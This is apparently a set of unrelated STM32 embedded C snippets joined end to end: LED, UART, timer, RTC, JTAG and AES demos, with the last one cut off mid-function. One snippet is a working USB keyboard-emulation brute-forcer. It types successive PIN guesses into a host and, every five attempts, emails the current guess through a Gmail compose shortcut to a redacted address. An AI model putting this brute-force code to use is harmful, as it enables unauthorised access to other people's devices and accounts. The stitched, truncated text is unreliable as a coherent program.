/** * @brief Main program. * @param None * @retval None */ void main(void) { #ifdef USART_IrDA_TRANSMIT JOYState_TypeDef Key = (JOYState_TypeDef)0; #else /* USART_IrDA_RECEIVE */ uint8_t ReceivedData = 0; #endif /*USART_IrDA_TRANSMIT*/ /* USART configuration -------------------------------------------*/ USART_Config(); #ifdef USART_IrDA_TRANSMIT while (1) { /* Read Key */ while (Key == JOY_NONE) { Key = ReadJoystick(); } switch (Key) { case JOY_UP: USART_SendData8(EVAL_COM1, JOY_UP); while (USART_GetFlagStatus(EVAL_COM1, USART_FLAG_TC) == RESET) {} Key = JOY_NONE; break; case JOY_DOWN: USART_SendData8(EVAL_COM1, JOY_DOWN); while (USART_GetFlagStatus(EVAL_COM1, USART_FLAG_TC) == RESET) {} Key = JOY_NONE; break; case JOY_LEFT: USART_SendData8(EVAL_COM1, JOY_LEFT); while (USART_GetFlagStatus(EVAL_COM1, USART_FLAG_TC) == RESET) {} Key = JOY_NONE; break; case JOY_RIGHT: USART_SendData8(EVAL_COM1, JOY_RIGHT); while (USART_GetFlagStatus(EVAL_COM1, USART_FLAG_TC) == RESET) {} Key = JOY_NONE; break; case JOY_SEL: USART_SendData8(EVAL_COM1, JOY_SEL); while (USART_GetFlagStatus(EVAL_COM1, USART_FLAG_TC) == RESET) {} Key = JOY_NONE; break; default: break; } } #else /* USART_IrDA_RECEIVE */ /* Initialize I/Os in Output Mode for LEDs */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); /* Turn on LEDs */ STM_EVAL_LEDOn(LED1); STM_EVAL_LEDOn(LED2); STM_EVAL_LEDOn(LED3); STM_EVAL_LEDOn(LED4); while (1) { /* Wait until a byte is received */ while (USART_GetFlagStatus(EVAL_COM1, USART_FLAG_RXNE) == RESET) {} /* Read the received byte */ ReceivedData = USART_ReceiveData8(EVAL_COM1); switch (ReceivedData) { /* LED4 toggle */ case JOY_UP: STM_EVAL_LEDToggle(LED4); break; /* LED3 toggle */ case JOY_DOWN: STM_EVAL_LEDToggle(LED3); break; /* LED2 toggle */ case JOY_LEFT: STM_EVAL_LEDToggle(LED2); break; /* LED1 toggle */ case JOY_RIGHT: STM_EVAL_LEDToggle(LED1); break; case JOY_SEL: STM_EVAL_LEDToggle(LED1); STM_EVAL_LEDToggle(LED2); STM_EVAL_LEDToggle(LED3); STM_EVAL_LEDToggle(LED4); break; default: break; } } #endif /*USART_IrDA_TRANSMIT*/ }
/** * @brief Main program. * @param None * @retval None */ int main(void) { RCC_ClocksTypeDef RCC_Clocks; /* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/ STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI); STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) { /* Turn on LEDs available on STM32F4-Discovery ---------------------------*/ STM_EVAL_LEDOn(LED4); STM_EVAL_LEDOn(LED3); STM_EVAL_LEDOn(LED5); STM_EVAL_LEDOn(LED6); if ((*(__IO uint32_t*) TESTRESULT_ADDRESS) == ALLTEST_PASS) { TimingDelay = 300; /* Waiting User Button is pressed or Test Program condition verified */ while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00)) {} } else { /* Waiting User Button is Released or TimeOut*/ TimingDelay = 300; while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00)) {} if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_RESET) { TimingDelay = 0x00; } } if (TimingDelay == 0x00) { /* Turn off LEDs available on STM32F4-Discovery ------------------------*/ STM_EVAL_LEDOff(LED4); STM_EVAL_LEDOff(LED3); STM_EVAL_LEDOff(LED5); STM_EVAL_LEDOff(LED6); /* Waiting User Button is released */ while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) {} /* Unlocks the FLASH control register access */ FLASH_Unlock(); /* Move discovery kit to detect negative and positive acceleration values on X, Y and Z axis */ Accelerometer_MEMS_Test(); /* USB Hardware connection */ USB_Test(); /* Audio Hardware connection */ Audio_Test(); /* Microphone MEMS Hardware connection */ Microphone_MEMS_Test(); /* Write PASS code at last word in the flash memory */ FLASH_ProgramWord(TESTRESULT_ADDRESS, ALLTEST_PASS); while(1) { /* Toggle Green LED: signaling the End of the Test program */ STM_EVAL_LEDToggle(LED4); Delay(10); } } else { Demo_Exec(); } } else { Demo_Exec(); } }
// ---------------------------------------------------------------------------- void HwInit( void ) { SystemCoreClockUpdate( ); // Make sure SysTick is running at a 1ms rate. if ( SysTick_Config( SystemCoreClock / 1000 ) ) { /* Capture error */ while ( 1 ); } // SysTick_CLKSourceConfig( SysTick_CLKSource_HCLK_Div8 ); /* Initialize Leds mounted on STM32F4-Discovery board */ STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); return; /* Turn on LED4 and LED5 */ STM_EVAL_LEDOn(LED4); STM_EVAL_LEDOn(LED5); /* TIM Configuration */ TIM3_Config(); TIM4_Config(); /* ----------------------------------------------------------------------- TIM3 Configuration: generate 4 PWM signals with 4 different duty cycles. In this example TIM3 input clock (TIM3CLK) is set to 2 * APB1 clock (PCLK1), since APB1 prescaler is different from 1. TIM3CLK = 2 * PCLK1 PCLK1 = HCLK / 4 => TIM3CLK = HCLK / 2 = SystemCoreClock /2 To get TIM3 counter clock at 28 MHz, the prescaler is computed as follows: Prescaler = (TIM3CLK / TIM3 counter clock) - 1 Prescaler = ((SystemCoreClock /2) /28 MHz) - 1 To get TIM3 output clock at 30 KHz, the period (ARR)) is computed as follows: ARR = (TIM3 counter clock / TIM3 output clock) - 1 = 665 TIM3 Channel1 duty cycle = (TIM3_CCR1/ TIM3_ARR)* 100 = 50% TIM3 Channel2 duty cycle = (TIM3_CCR2/ TIM3_ARR)* 100 = 37.5% TIM3 Channel3 duty cycle = (TIM3_CCR3/ TIM3_ARR)* 100 = 25% TIM3 Channel4 duty cycle = (TIM3_CCR4/ TIM3_ARR)* 100 = 12.5% Note: SystemCoreClock variable holds HCLK frequency and is defined in system_stm32f4xx.c file. Each time the core clock (HCLK) changes, user had to call SystemCoreClockUpdate() function to update SystemCoreClock variable value. Otherwise, any configuration based on this variable will be incorrect. ----------------------------------------------------------------------- */ /* Compute the prescaler value */ PrescalerValue = (uint16_t) ((SystemCoreClock /2) / 28000000) - 1; /* Time base configuration */ TIM_TimeBaseStructure.TIM_Period = 665; TIM_TimeBaseStructure.TIM_Prescaler = PrescalerValue; TIM_TimeBaseStructure.TIM_ClockDivision = 0; TIM_TimeBaseStructure.TIM_CounterMode = TIM_CounterMode_Up; TIM_TimeBaseInit( TIM3, &TIM_TimeBaseStructure ); TIM_TimeBaseInit( TIM4, &TIM_TimeBaseStructure ); /* PWM1 Mode configuration: Channel1 */ TIM_OCInitStructure.TIM_OCMode = TIM_OCMode_PWM1; TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable; TIM_OCInitStructure.TIM_Pulse = CCR1_Val; TIM_OCInitStructure.TIM_OCPolarity = TIM_OCPolarity_High; TIM_OC1Init( TIM3, &TIM_OCInitStructure ); TIM_OC1Init( TIM4, &TIM_OCInitStructure ); TIM_OC1PreloadConfig( TIM3, TIM_OCPreload_Enable ); TIM_OC1PreloadConfig( TIM4, TIM_OCPreload_Enable ); /* PWM1 Mode configuration: Channel2 */ TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable; TIM_OCInitStructure.TIM_Pulse = CCR2_Val; TIM_OC2Init( TIM3, &TIM_OCInitStructure ); TIM_OC2Init( TIM4, &TIM_OCInitStructure ); TIM_OC2PreloadConfig( TIM3, TIM_OCPreload_Enable ); TIM_OC2PreloadConfig( TIM4, TIM_OCPreload_Enable ); /* PWM1 Mode configuration: Channel3 */ TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable; TIM_OCInitStructure.TIM_Pulse = CCR3_Val; TIM_OC3Init( TIM3, &TIM_OCInitStructure ); TIM_OC3Init( TIM4, &TIM_OCInitStructure ); TIM_OC3PreloadConfig( TIM3, TIM_OCPreload_Enable ); TIM_OC3PreloadConfig( TIM4, TIM_OCPreload_Enable ); /* PWM1 Mode configuration: Channel4 */ TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable; TIM_OCInitStructure.TIM_Pulse = CCR4_Val; TIM_OC4Init( TIM3, &TIM_OCInitStructure ); TIM_OC4Init( TIM4, &TIM_OCInitStructure ); TIM_OC4PreloadConfig( TIM3, TIM_OCPreload_Enable ); TIM_OC4PreloadConfig( TIM4, TIM_OCPreload_Enable ); TIM_ARRPreloadConfig( TIM3, ENABLE ); TIM_ARRPreloadConfig( TIM4, ENABLE ); /* TIM3 enable counter */ TIM_Cmd( TIM3, ENABLE ); TIM_Cmd( TIM4, ENABLE ); vUSART2_Init(); // Start up UART2 }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32f4xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f4xx.c file */ /* Initialize Leds mounted on STM32F4-Discovery board */ STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); /* Turn on LED4 and LED5 */ STM_EVAL_LEDOn(LED4); STM_EVAL_LEDOn(LED5); /* Setup SysTick Timer for 1 msec interrupts. ------------------------------------------ 1. The SysTick_Config() function is a CMSIS function which configure: - The SysTick Reload register with value passed as function parameter. - Configure the SysTick IRQ priority to the lowest value (0x0F). - Reset the SysTick Counter register. - Configure the SysTick Counter clock source to be Core Clock Source (HCLK). - Enable the SysTick Interrupt. - Start the SysTick Counter. 2. You can change the SysTick Clock source to be HCLK_Div8 by calling the SysTick_CLKSourceConfig(SysTick_CLKSource_HCLK_Div8) just after the SysTick_Config() function call. The SysTick_CLKSourceConfig() is defined inside the misc.c file. 3. You can change the SysTick IRQ priority by calling the NVIC_SetPriority(SysTick_IRQn,...) just after the SysTick_Config() function call. The NVIC_SetPriority() is defined inside the core_cm4.h file. 4. To adjust the SysTick time base, use the following formula: Reload Value = SysTick Counter Clock (Hz) x Desired Time base (s) - Reload Value is the parameter to be passed for SysTick_Config() function - Reload Value should not exceed 0xFFFFFF */ if (SysTick_Config(SystemCoreClock / 1000)) { /* Capture error */ while (1); } while (1) { /* Toggle LED3 and LED6 */ STM_EVAL_LEDToggle(LED3); STM_EVAL_LEDToggle(LED6); /* Insert 50 ms delay */ Delay(50); /* Toggle LED4 and LED5 */ STM_EVAL_LEDToggle(LED4); STM_EVAL_LEDToggle(LED5); /* Insert 100 ms delay */ Delay(100); } }
/** * @brief Main program. * @param None * @retval None */ int main(void) { uint32_t guessIdx = 0; int running = 0; int delay = 0; RCC_ClocksTypeDef RCC_Clocks; /* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/ STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI); STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); STM_EVAL_LEDOff(LED4); STM_EVAL_LEDOn(LED3); STM_EVAL_LEDOff(LED5); STM_EVAL_LEDOff(LED6); STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_GPIO); keyboardInit(&USB_OTG_dev); Demo_USBConfig(); char guess[7]; strcpy(guess, "400000"); Delay(2000); while (1) { if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) { //crappy debounce routine TimingDelay = 10; while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00)); //now change start or stop password attempts if (running == 0) { STM_EVAL_LEDOn(LED4); running = 1; } else { STM_EVAL_LEDOff(LED4); running = 0; } } //mostly non blocking delay to allow stopping with button if (delay > 0) { Delay(1000); delay--; } if (running != 0 && delay == 0) { Delay(200); keyboardWrite(KEY_BACKSPACE); keyboardWrite(KEY_BACKSPACE); keyboardWrite(KEY_BACKSPACE); keyboardWrite(KEY_BACKSPACE); STM_EVAL_LEDToggle(LED6); keyboardPutString(guess); keyboardWrite(KEY_RETURN); Delay(200); keyboardWrite(KEY_RETURN); nextPermutation(guess, "123", 1); if ((++guessIdx % 5) == 0) { //try to email every 5 guesses keyboardReleaseAll(); keyboardPress(KEY_LEFT_GUI); keyboardPress('g'); Delay(50); keyboardReleaseAll(); keyboardPutString("*****@*****.**"); //leave the preceding 'c' that is the gmail compose shortcut keyboardWrite(KEY_TAB); keyboardPutString(guess); keyboardWrite(KEY_TAB); keyboardPutString(guess); keyboardWrite(KEY_TAB); keyboardWrite(KEY_TAB); keyboardWrite(KEY_RETURN); STM_EVAL_LEDOff(LED5); delay = 30; } } } }
/** * @brief This function configures the system to enter Stop mode with RTC * clocked by LSI for current consumption measurement purpose. * STOP Mode with RTC clocked by LSI * ===================================== * - RTC Clocked by LSI * - Regulator in LP mode * - HSI, HSE OFF and LSI OFF if not used as RTC Clock source * - No IWDG * - FLASH in deep power down mode * - Automatic Wakeup using RTC clocked by LSI (~5s) * @param None * @retval None */ void StopMode_Measure(void) { __IO uint32_t index = 0; GPIO_InitTypeDef GPIO_InitStructure; NVIC_InitTypeDef NVIC_InitStructure; EXTI_InitTypeDef EXTI_InitStructure; RTC_InitTypeDef RTC_InitStructure; RTC_TimeTypeDef RTC_TimeStructure; RTC_AlarmTypeDef RTC_AlarmStructure; /* Allow access to RTC */ PWR_BackupAccessCmd(ENABLE); /* The RTC Clock may varies due to LSI frequency dispersion. */ /* Enable the LSI OSC */ RCC_LSICmd(ENABLE); /* Wait till LSI is ready */ while(RCC_GetFlagStatus(RCC_FLAG_LSIRDY) == RESET) { } /* Select the RTC Clock Source */ RCC_RTCCLKConfig(RCC_RTCCLKSource_LSI); /* Enable the RTC Clock */ RCC_RTCCLKCmd(ENABLE); /* Wait for RTC APB registers synchronisation */ RTC_WaitForSynchro(); /* Configure all GPIO as analog to reduce current consumption on non used IOs */ /* Enable GPIOs clock */ RCC_AHBPeriphClockCmd(RCC_AHBPeriph_GPIOA | RCC_AHBPeriph_GPIOB | RCC_AHBPeriph_GPIOC | RCC_AHBPeriph_GPIOD | RCC_AHBPeriph_GPIOF , ENABLE); GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AN; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL; GPIO_InitStructure.GPIO_Pin = GPIO_Pin_All; GPIO_Init(GPIOC, &GPIO_InitStructure); GPIO_Init(GPIOD, &GPIO_InitStructure); GPIO_Init(GPIOF, &GPIO_InitStructure); GPIO_Init(GPIOA, &GPIO_InitStructure); GPIO_Init(GPIOB, &GPIO_InitStructure); /* Disable GPIOs clock */ RCC_AHBPeriphClockCmd(RCC_AHBPeriph_GPIOA |RCC_AHBPeriph_GPIOB | RCC_AHBPeriph_GPIOC | RCC_AHBPeriph_GPIOD | RCC_AHBPeriph_GPIOF, DISABLE); RTC_InitStructure.RTC_HourFormat = RTC_HourFormat_24; RTC_InitStructure.RTC_AsynchPrediv = 0x7F; RTC_InitStructure.RTC_SynchPrediv = 0x0138; if (RTC_Init(&RTC_InitStructure) == ERROR) { while(1); } /* EXTI configuration */ EXTI_ClearITPendingBit(EXTI_Line17); EXTI_InitStructure.EXTI_Line = EXTI_Line17; EXTI_InitStructure.EXTI_Mode = EXTI_Mode_Interrupt; EXTI_InitStructure.EXTI_Trigger = EXTI_Trigger_Rising; EXTI_InitStructure.EXTI_LineCmd = ENABLE; EXTI_Init(&EXTI_InitStructure); /* NVIC configuration */ NVIC_InitStructure.NVIC_IRQChannel = RTC_IRQn; NVIC_InitStructure.NVIC_IRQChannelPriority = 0; NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; NVIC_Init(&NVIC_InitStructure); /* Set the alarm X+5s */ RTC_AlarmStructure.RTC_AlarmTime.RTC_H12 = RTC_H12_AM; RTC_AlarmStructure.RTC_AlarmTime.RTC_Hours = 0x01; RTC_AlarmStructure.RTC_AlarmTime.RTC_Minutes = 0x00; RTC_AlarmStructure.RTC_AlarmTime.RTC_Seconds = 0x05; RTC_AlarmStructure.RTC_AlarmDateWeekDay = 0x31; RTC_AlarmStructure.RTC_AlarmDateWeekDaySel = RTC_AlarmDateWeekDaySel_Date; RTC_AlarmStructure.RTC_AlarmMask = RTC_AlarmMask_DateWeekDay; RTC_SetAlarm(RTC_Format_BCD, RTC_Alarm_A, &RTC_AlarmStructure); /* Enable the alarm */ RTC_AlarmCmd(RTC_Alarm_A, ENABLE); /* Enable the RTC Alarm A interrupt */ RTC_ITConfig(RTC_IT_ALRA, ENABLE); /* Set the time to 01h 00mn 00s AM */ RTC_TimeStructure.RTC_H12 = RTC_H12_AM; RTC_TimeStructure.RTC_Hours = 0x01; RTC_TimeStructure.RTC_Minutes = 0x00; RTC_TimeStructure.RTC_Seconds = 0x00; RTC_SetTime(RTC_Format_BCD, &RTC_TimeStructure); /* Clear the Alarm A Pending Bit */ RTC_ClearITPendingBit(RTC_IT_ALRA); /* Enter Stop Mode */ PWR_EnterSTOPMode(PWR_Regulator_LowPower, PWR_STOPEntry_WFI); /* Initialize LED4 on STM320518-EVAL board */ STM_EVAL_LEDInit(LED4); /* Infinite loop */ while (1) { /* Toggle The LED4 */ STM_EVAL_LEDToggle(LED4); /* Inserted Delay */ for(index = 0; index < 0x5FFFF; index++); } }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup files (startup_stm32f40xx.s/startup_stm32f427x.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f4xx.c file */ /* Configure the external interrupt "WAKEUP" and "TAMPER" buttons */ STM_EVAL_PBInit(BUTTON_TAMPER , BUTTON_MODE_EXTI); STM_EVAL_PBInit(BUTTON_WAKEUP , BUTTON_MODE_EXTI); /* Initialize LEDs and LCD available on EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); /* Initialize the LCD */ LCD_Init(); LCD_Clear(LCD_COLOR_WHITE); /* Set the Back Color */ LCD_SetBackColor(LCD_COLOR_BLUE); /* Set the Text Color */ LCD_SetTextColor(LCD_COLOR_WHITE); LCD_DisplayStringLine(LCD_LINE_0,(uint8_t *) " TimeStamp Example " ); LCD_SetFont(&Font12x12); if (RTC_ReadBackupRegister(RTC_BKP_DR0) != 0x32F2) { /* RTC configuration */ RTC_Config(); /* Configure the time&date register */ RTC_TimeRegulate(); /* Display the Date and Time */ RTC_DateShow(); RTC_TimeShow(); } else { /* Check if the Power On Reset flag is set */ if (RCC_GetFlagStatus(RCC_FLAG_PORRST) != RESET) { /* Set the Back Color */ LCD_SetBackColor(LCD_COLOR_WHITE); /* Set the Text Color */ LCD_SetTextColor(LCD_COLOR_GREEN); LCD_DisplayStringLine(LCD_LINE_2,(uint8_t *) "Power On Reset occurred " ); } /* Check if the Pin Reset flag is set */ else if (RCC_GetFlagStatus(RCC_FLAG_PINRST) != RESET) { /* Set the Back Color */ LCD_SetBackColor(LCD_COLOR_WHITE); /* Set the Text Color */ LCD_SetTextColor(LCD_COLOR_GREEN); LCD_DisplayStringLine(LCD_LINE_2,(uint8_t *) "External Reset occurred " ); } /* Set the Back Color */ LCD_SetBackColor(LCD_COLOR_WHITE); /* Set the Text Color */ LCD_SetTextColor(LCD_COLOR_GREEN); LCD_DisplayStringLine(LCD_LINE_3,(uint8_t *) "No need to configure RTC " ); /* Enable the PWR clock */ RCC_APB1PeriphClockCmd(RCC_APB1Periph_PWR, ENABLE); /* Allow access to RTC */ PWR_BackupAccessCmd(ENABLE); /* Wait for RTC APB registers synchronisation */ RTC_WaitForSynchro(); /* Clear the RTC Alarm Flag */ RTC_ClearFlag(RTC_FLAG_ALRAF); /* Clear the EXTI Line 17 Pending bit (Connected internally to RTC Alarm) */ EXTI_ClearITPendingBit(EXTI_Line17); /* Display the RTC Time/Date and TimeStamp Time/Date */ RTC_DateShow(); RTC_TimeShow(); } while (1) { } }
/** * @brief Main program. * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32f2xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f2xx.c file */ /* Initialize LEDs and Key Button mounted on STM322xG-EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_PBInit(BUTTON_KEY, BUTTON_MODE_GPIO); /* Test if Key push-button on STM322xG-EVAL board is pressed */ if (STM_EVAL_PBGetState(BUTTON_KEY) == 0x00) { /* Key is pressed */ /* Enable GPIOA and GPIOB clocks */ RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOA | RCC_AHB1Periph_GPIOB , ENABLE); /* Turn on LED1 */ STM_EVAL_LEDOn(LED1); /* Configure PA.13 (JTMS/SWDIO), PA.14 (JTCK/SWCLK) and PA.15 (JTDI) as output push-pull */ GPIO_InitStructure.GPIO_Pin = GPIO_Pin_13 | GPIO_Pin_14 | GPIO_Pin_15; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_OUT; GPIO_InitStructure.GPIO_OType = GPIO_OType_PP; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_100MHz; GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL; GPIO_Init(GPIOA, &GPIO_InitStructure); /* Configure PB.03 (JTDO) and PB.04 (JTRST) as output push-pull */ GPIO_InitStructure.GPIO_Pin = GPIO_Pin_3 | GPIO_Pin_4; GPIO_Init(GPIOB, &GPIO_InitStructure); while (1) { /* Toggle JTMS/SWDAT pin */ GPIO_WriteBit(GPIOA, GPIO_Pin_13, (BitAction)(1 - GPIO_ReadOutputDataBit(GPIOA, GPIO_Pin_13))); /* Insert delay */ Delay(0x5FFFF); /* Toggle JTCK/SWCLK pin */ GPIO_WriteBit(GPIOA, GPIO_Pin_14, (BitAction)(1 - GPIO_ReadOutputDataBit(GPIOA, GPIO_Pin_14))); /* Insert delay */ Delay(0x5FFFF); /* Toggle JTDI pin */ GPIO_WriteBit(GPIOA, GPIO_Pin_15, (BitAction)(1 - GPIO_ReadOutputDataBit(GPIOA, GPIO_Pin_15))); /* Insert delay */ Delay(0x5FFFF); /* Toggle JTDO pin */ GPIO_WriteBit(GPIOB, GPIO_Pin_3, (BitAction)(1 - GPIO_ReadOutputDataBit(GPIOB, GPIO_Pin_3))); /* Insert delay */ Delay(0x5FFFF); /* Toggle JTRST pin */ GPIO_WriteBit(GPIOB, GPIO_Pin_4, (BitAction)(1 - GPIO_ReadOutputDataBit(GPIOB, GPIO_Pin_4))); /* Insert delay */ Delay(0x5FFFF); } } else { /* Turn on LED2 */ STM_EVAL_LEDOn(LED2); while (1) { } } }
Led::Led(void) { STM_EVAL_LEDInit(LED3); }
/* * init_hw * Initialises hardware; pins, LEDs, sensors, etc. */ void init_hw(void) { /* Vars */ GPIO_InitTypeDef GPIO_Init_PD8, GPIO_Init_PD9; USART_InitTypeDef USART3_Init; int i = 0; /* Configure ticks to equal milliseconds (for delays) */ if (SysTick_Config(SystemCoreClock / 1000)) { /* Catch errors using infinite loop */ while (1); } /* Easy stuff first; enable LEDs */ STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); STM_EVAL_LEDInit(LED7); STM_EVAL_LEDInit(LED8); STM_EVAL_LEDInit(LED9); STM_EVAL_LEDInit(LED10); /* Enable USART3 clock */ RCC_APB1PeriphClockCmd(RCC_APB1Periph_USART3, ENABLE); /* Enable clock on GPIOD pins (for USART3) */ RCC_AHBPeriphClockCmd(RCC_AHBPeriph_GPIOD, ENABLE); /* Configure PD8's alternate function. * GPIO_AF_7 represents function USART3. */ GPIO_PinAFConfig(GPIOD, GPIO_PinSource8, GPIO_AF_7); /* Enable USART3 transmit on pin PD8 */ GPIO_Init_PD8.GPIO_Pin = GPIO_Pin_8; GPIO_Init_PD8.GPIO_Mode = GPIO_Mode_AF; GPIO_Init_PD8.GPIO_OType = GPIO_OType_PP; GPIO_Init_PD8.GPIO_Speed = GPIO_Speed_50MHz; GPIO_Init_PD8.GPIO_PuPd = GPIO_PuPd_NOPULL; GPIO_Init(GPIOD, &GPIO_Init_PD8); /* Configure PD9's alternate function. * GPIO_AF_7 represents function USART3. */ GPIO_PinAFConfig(GPIOD, GPIO_PinSource9, GPIO_AF_7); /* Enable USART3 receive on pin PD9 */ GPIO_Init_PD9.GPIO_Pin = GPIO_Pin_9; GPIO_Init_PD9.GPIO_Mode = GPIO_Mode_AF; GPIO_Init_PD9.GPIO_OType = GPIO_OType_PP; GPIO_Init_PD9.GPIO_Speed = GPIO_Speed_50MHz; GPIO_Init_PD9.GPIO_PuPd = GPIO_PuPd_NOPULL; GPIO_Init(GPIOD, &GPIO_Init_PD9); /* Configure USART3 */ USART3_Init.USART_BaudRate = 1000000; // this is auto'd later USART3_Init.USART_WordLength = USART_WordLength_8b; USART3_Init.USART_StopBits = USART_StopBits_1; USART3_Init.USART_Parity = USART_Parity_No; USART3_Init.USART_Mode = USART_Mode_Tx | USART_Mode_Rx; USART3_Init.USART_HardwareFlowControl = USART_HardwareFlowControl_None; /* Initialise and enable USART3 */ USART_Init(USART3, &USART3_Init); USART_Cmd(USART3, ENABLE); /* Enable and configure automatic baud rate */ USART_AutoBaudRateCmd(USART3, ENABLE); USART_AutoBaudRateConfig(USART3, USART_AutoBaudRate_FallingEdge); /* Enable user button */ STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_GPIO); /* Turn the LEDs on */ STM_EVAL_LEDOn(LED3); STM_EVAL_LEDOn(LED4); STM_EVAL_LEDOn(LED5); STM_EVAL_LEDOn(LED6); STM_EVAL_LEDOn(LED7); STM_EVAL_LEDOn(LED8); STM_EVAL_LEDOn(LED9); STM_EVAL_LEDOn(LED10); /* Flash 'em a bit, shows something's happening */ for (i = 0; i < 3; i++) { wait(500); STM_EVAL_LEDToggle(LED3); STM_EVAL_LEDToggle(LED4); STM_EVAL_LEDToggle(LED5); STM_EVAL_LEDToggle(LED6); STM_EVAL_LEDToggle(LED7); STM_EVAL_LEDToggle(LED8); STM_EVAL_LEDToggle(LED9); STM_EVAL_LEDToggle(LED10); } }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32l1xx_xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32l1xx.c file */ /* Initialize the LCD */ STM32L152D_LCD_Init(); /* Initialize LEDs available on STM32L15X-EVAL board ************************/ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); /* Enable AES AHB clock */ RCC_AHBPeriphClockCmd(RCC_AHBPeriph_AES, ENABLE); /*============================================================================ Encryption mode ===========================================================================*/ #if defined AES_ECB AES_ECB_Encrypt(EncryptionKey, PlainText, AES_TEXT_SIZE, CipherText); #elif defined AES_CBC AES_CBC_Encrypt(EncryptionKey, InitVector, PlainText, AES_TEXT_SIZE, CipherText); #else /* CTR Mode */ AES_CTR_Encrypt(EncryptionKey, InitVector, PlainText, AES_TEXT_SIZE, CipherText); #endif /* Clear the LCD */ LCD_Clear(LCD_COLOR_WHITE); /* Set the Back Color */ LCD_SetBackColor(LCD_COLOR_BLUE); /* Read the CipherText and check content correctness */ #if defined AES_ECB if(Buffercmp(ExpectedCipherText, CipherText, AES_TEXT_SIZE) != ERROR) #elif defined AES_CBC if(Buffercmp(ExpectedCipherText_CBC, CipherText, AES_TEXT_SIZE) != ERROR) #else /* CTR */ if(Buffercmp(ExpectedCipherText_CTR, CipherText, AES_TEXT_SIZE) != ERROR) #endif { /* OK */ /* Turn on LED1 */ STM_EVAL_LEDOn(LED1); /* Set the Text Color */ LCD_SetTextColor(LCD_COLOR_GREEN); LCD_DisplayStringLine(LCD_LINE_2, " Success "); } else { /* KO */ /* Turn on LED2 */ STM_EVAL_LEDOn(LED2); /* Set the Text Color */ LCD_SetTextColor(LCD_COLOR_RED); LCD_DisplayStringLine(LCD_LINE_2, " Failed "); } LCD_DisplayStringLine(LCD_LINE_1, " Encryption "); #if defined AES_ECB LCD_DisplayStringLine(LCD_LINE_0, " ECB Mode "); #elif defined AES_CBC LCD_DisplayStringLine(LCD_LINE_0, " CBC Mode "); #else /* CTR */ LCD_DisplayStringLine(LCD_LINE_0, " CTR Mode "); #endif /*============================================================================ Decryption mode ===========================================================================*/ #if defined AES_ECB AES_ECB_Decrypt(EncryptionKey, CipherText, AES_TEXT_SIZE, ComputedPlainText); #elif defined AES_CBC AES_CBC_Decrypt(EncryptionKey, InitVector, CipherText, AES_TEXT_SIZE, ComputedPlainText); #else /* CTR Mode */ AES_CTR_Decrypt(EncryptionKey, InitVector, CipherText, AES_TEXT_SIZE, ComputedPlainText); #endif /* Read the ComputedPlainText and check content correctness */ if(Buffercmp(PlainText, ComputedPlainText, AES_TEXT_SIZE) != ERROR) { /* OK */ /* Turn on LED3 */ 